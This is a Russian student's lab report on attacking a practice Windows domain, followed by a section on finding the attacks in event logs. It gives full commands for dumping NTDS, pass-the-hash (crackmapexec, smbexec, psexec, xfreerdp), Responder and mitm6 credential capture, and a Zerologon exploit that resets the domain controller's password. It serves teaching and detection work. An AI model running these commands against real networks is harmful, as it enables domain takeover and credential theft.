# Макаров Дмитрий Владиславович - Windows Basic. Практическая работа №6. Базоввые атаки и компрометация доменной Winows-инфраструктуры [toc] ## Практическая работа №6.1 Базовые атаки на Windows-инфраструктуру. ### Часть 1. Базовые атаки на инфраструктуру Windows #### Этап 1. Анализ базы NTDS ##### 1.1 Бэкап NTDS ==Воспользуемся базовыми средствами **Windows** для работы с **NTDS**== Зайдём в командную строку от имени администратора и введём команды: `ntdsutil` `activate instance ntds` `ifm` `create full C:\temp` Этот набор команд активирует процесс **Install From Media**, позволяющий сделать копию нашего **NTDS** с необходимыми ветками реестра. --- ![](https://i.imgur.com/d8u4caU.png) --- После этого в директории `C:\temp` мы видим созданые файлы дампа в папке **Active Directory** --- ![](https://i.imgur.com/NcEw0RY.png) --- И в папке **registy** --- ![](https://i.imgur.com/Uehm5xR.png) --- ##### 1.2 Перенос NTDS ==Воспользуемся базовыми средствами Kali Linux. С помощью SMB зайдём на сервер Win с Kali:== `smbclient '\\\\\\192.168.10.200\\C$' -U PT/Administrator` - где **192.168.10.201** -- ip адрес контроллера домена, - **testdomain** -- имя домена, - **Administrator** -- имя учетной записи с правами администратора. После чего скопируем файлы на **Kali Linux**: `recurse ON` `prompt OFF` `lcd /home/sato` `mget temp` - где **/home/sato** -- домашняя папка пользователя **Kali linux** --- ![](https://i.imgur.com/2zQZMD5.png) --- ##### 1.3 Анализ NTDS ==Для анализа дампа для начала нужно скачать **impacket**. Находясь в домашней директории пользователя, выполните набор команд:== `git clone https://github.com/SecureAuthCorp/impacket` `apt install python3-pip` `cd impacket` `pip install .` --- ![](https://i.imgur.com/2enVPw3.png) --- После установки нужно пройти из директории **impacket** в директорию **examples** (она внутри папки импакета) и выполнить следующую команду: `python3 secretsdump.py -ntds /home/sato/Active\ Directory/ntds.dit -system /home/sato/temp/registry/SYSTEM LOCAL` - где `secretsdump.py` -- исполняемый скрипт, - `ntds.dit` -- анализируемый инстанс базы данных NTDS, - `registry/SYSTEM` -- ветка реестра, с помощью которой мы можем прочитать NTDS, - `LOCAL` -- флаг для скрипта, который говорит, что мы анализируем **NTDS** локально. В качестве вывода будет следующее: --- ![](https://i.imgur.com/XcgpbVQ.png) --- :::info :bulb: **NTDS** мы анализируем с целью разобраться в структуре базы аутентификационых данных для объектов домена. ::: --- #### Этап 2. Path-the-hash ==Для выполнения атаки вида **PtH** нам понадобится учетная запись и её хэш пароля. С помощью такой атаки мы можем выполнять любые действия, доступные пользователю, не имея оригинала пароля.== ##### 2.1 Crackmapexec Это набор python-скриптов для тестирования **Windows** окружения. Использует *Windows API*, поэтому обнаружить довольно сложно. Самое базовое применение -- быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом **smb**: `crackmapexec smb 192.168.10.0/24` --- ![](https://i.imgur.com/i6eDVZ6.png) --- Выполним команды от имени пользователя на удаленной машине посредством командной строки: `crackmapexec smb 192.168.10.201 -u Administrator -H hash -x whoami` - Где **hash** -- это *NTLM* хэш учетной записи (*LM* хэш в этом скрипте не используется, в отличие от скрипта smbexec, описанного далее). --- ![](https://i.imgur.com/QqumPT8.png) --- Посмотрим список сетевых папок, доступных конкретному пользователю: `crackmapexec smb 192.168.10.201 -u Administrator -H hash --shares` --- ![](https://i.imgur.com/FeQJzTJ.png) --- В *impacket* есть интересная утилита **smbexec**, позволяющая запустить **cmd windows** для удаленной передачи команд, при этом практически не оставляя следов: `python3 smbexec.py PT/administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128` - где **testdomain** -- имя домена, - **administrator** -- имя пользователя, - **192.168.10.200** -- адрес компьютера-жертвы - **hashes** -- спец флаг для использования хэша - последняя длинная фраза -- сам хэш в определенном формате --- ![](https://i.imgur.com/rFVWWrd.png) --- Есть и аналог -- **psexec** `python3 psexec.py domain/username:password@hostIP` - если знаем пароль `python3 psexec.py domain/username@hostIP -hashes LMHASH:NTHASH` - если знаем хэш --- ![](https://i.imgur.com/8KgF88Q.png) --- ##### 2.2 XFreeRDP С хешем можно зайти по **RDP**. Для этого используется следующая команда `xfreerdp /d:domainname /u:username /v:ipaddr /pth:NTHASH ` Но для начала включим удалённый доступ по **RDP** на **dc1**, доступ дадим администраторам домена --- ![](https://i.imgur.com/6jrL3t7.png) --- Попробуем зайти на **dc1** --- ![](https://i.imgur.com/5Mrjyaw.png) --- Подтвердим сертификат --- ![](https://i.imgur.com/7LS1QG7.png) --- Действует политика **restricted admin** --- ![](https://i.imgur.com/QrvutkD.png) --- Изменим параметр реестра на **dc1** --- ![](https://i.imgur.com/Mb6SDqL.png) --- Использованная команда: `New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force ` --- Так как у нас включена политика **аудита PoSH**, там можно увидеть выполнение этой команды --- ![](https://i.imgur.com/PzgZPIY.png) --- После чего **xfreerdp** пускает нас с помощью хеша --- ![](https://i.imgur.com/gjR7qWR.png) --- #### Этап 3. Атаки на базовые протоколы Windows ##### NBT-NS & LLMNR & mDNS ==Важной частью эксплуатации будет **WPAD** -- специальный протокол для настройки проксирования в системе **Win**.== Система всегда запрашивает файл с настройками **wpad.dat**, а злоумышленник может подсунуть свой файл, став прокси-серверов для **Win** и таким образом осуществив атаку *человек посередине*. ==Основная уязвимость в этих протоколах -- отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам.== ##### Анализ инфраструктуры через responder Запускаем анализ **Responder** `responder -I eth0 -A` --- ![](https://i.imgur.com/QyzsqKs.png) --- **Доменный ПК** пытается обратиться к несуществующему сетевому ресурсу --- ![](https://i.imgur.com/ZmegovV.png) --- Анализатор видит **LLNMR**, **NBNS** запросы --- ![](https://i.imgur.com/yU10wod.png) --- ##### Режим атаки: `responder -I eth0 -wFv` - где **-I eth0** -- выбор интерфейса, - **w** -- отравление **WPAD**, - **F** -- попробовать принудить систему использовать старые протоколы аутентификации, если возможно, - **v** -- вывод подробной информации (в т.ч. перехваченного хэша). **Responder** запускается --- ![](https://i.imgur.com/b1B2fa4.png) --- Пользователь снова проходит по несуществующему пути. **Responder** притворяется этим ресурсом, поэтому видим окно аутентификации --- ![](https://i.imgur.com/teJuktZ.png) --- ==**Responder** перехватывает аутентификационный токен== --- ![](https://i.imgur.com/MBbNXJg.png) --- Данный токен можно подвергнуть брутфорсу --- ##### mitm6 ==Атака имитирует **DHCPv6** сервер и отправляет на компьютеры в сети параметры **IPv6**, которые используются в приоритете над IPv4 при отправке компьютеров данных по сети.== Скачаем **mitm6**: `pip install mitm6` --- ![](https://i.imgur.com/Dk51jj3.png) --- ##### Выполнение атаки: `mitm6.py -d pt.local` - необходимо указывать атакуемый домен Настройки сетевого адаптера **pc1**. Было: --- ![](https://i.imgur.com/Y9MaYyz.png) --- **Kali Linux**. Атака --- ![](https://i.imgur.com/P2D0rOl.png) --- Настройки сетевого адаптера **pc1**. Стало: --- ![](https://i.imgur.com/NVEthiL.png) --- Пока что мы только подменили параметры у **win10**, обеспечив **mitm**. Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит нам прикинуться ресурсом, который требует аутентификацию. Воспользуемся **SMB**. ==Не отключая **mitm6**, создадим **SMB** сервер==: --- ![](https://i.imgur.com/1yIZv0y.png) --- `python3 smbserver.py -smb2support SMB /root/SMB` А на **Win10** через проводник попробуем зайти на наш домен --- ![](https://i.imgur.com/SGoldxf.png) --- Увидим данные аутентификации в выводе программы --- ![](https://i.imgur.com/MR6M7cw.png) --- :::info :bulb:Эти аутентификационные данные уже можно вскрывать с помощью **hashcat** или **John the ripper**. Это не чистый хэш пароля, а аутентификация по протоколу **NTLMv2**. ::: --- ## Практическая работа №6.2 Компрометация доменной Windows-инфраструктуры. Для начала нужно активировать политику аудита машинных учетных записей и применить к контроллерам домена --- ![](https://i.imgur.com/CzctKBA.png) --- :::info Путь до политики: **Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant** ::: --- Чтобы политика применилась после настройки, введём команду `gpupdate` --- ![](https://i.imgur.com/NaTZBZR.png) --- ### Часть 2. Эксплуатация уязвимостей контроллера домена 2.1 Проведем поиск по уязвимости **zerologon** и найдём множество репозиториев на **github**, в том числе и с эксплойтами --- ![](https://i.imgur.com/1JLVsh8.png) --- 2.2 Скачаем один из них Используем команду `git clone <https://github.com/risksense/zerologon` --- ![](https://i.imgur.com/mhB3FnA.png) --- 2.3 Перейдем в скачанную папку и прочитаем **README** --- ![](https://i.imgur.com/OGVR3qE.png) --- 2.4 Нам предлагают использовать консткукцию для вызова эксплойта. Используем команду `python3 set_empty_pw.py DC1 192.168.10.200` --- ![](https://i.imgur.com/Eoiq9K6.png) --- 2.5 Скрипт обнулил пароль машинной учетной записи контроллера домена. Воспользуемся этим, чтобы сдампить **NTDS** с помощью **secretsdump**. Перейдём в `impacket/examples` и выполним оттуда команду `python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'` --- ![](https://i.imgur.com/DvGEhou.png) --- 2.6 С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя Например, с помощью команды `crackmapexec smb 192.168.10.200 -u ADMPetr -H 05df2fd1109e3d3b60f110965f6af128 -x whoami` --- ![](https://i.imgur.com/eRiu0wG.png) --- ### Часть 3. Поиск следов эксплуатации уязвимостей 3.1 Проверим журнал **System**, увидим ошибку **Netlogon** --- ![](https://i.imgur.com/jDgPJ06.png) --- 3.2 Проверим **Security**, увидим событие **4742** --- ![](https://i.imgur.com/ZlCsszE.png) --- 3.3 Внимательно проанализируем событие --- ![](https://i.imgur.com/ErSL0Tt.png) --- Во-первых, **ANONYMOUS LOGON** -- уже довольно подозрительный факт --- Ещё в логе можно увидеть заполненное поле **password last set** -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только **NETWORK SERVICE**. И, если это происходит, генерируется ещё одно событие с **id 5823** --- 3.4 Найдём событие **5823** в журнале **System** с помощью фильтра. Событие есть, но оно произошло намного раньше --- ![](https://i.imgur.com/rHpmZ4e.png) --- Если поискать события **4742** за день, когда произошло **5823**, то мы их найдём. Это легитимные события, связанные с введением в домен **dc2** --- 3.5 Если происходит дамп **NTDS**, то можно увидеть данные выгрузки в журнале **Direcrory Service** --- ![](https://i.imgur.com/StEOBu8.png) ---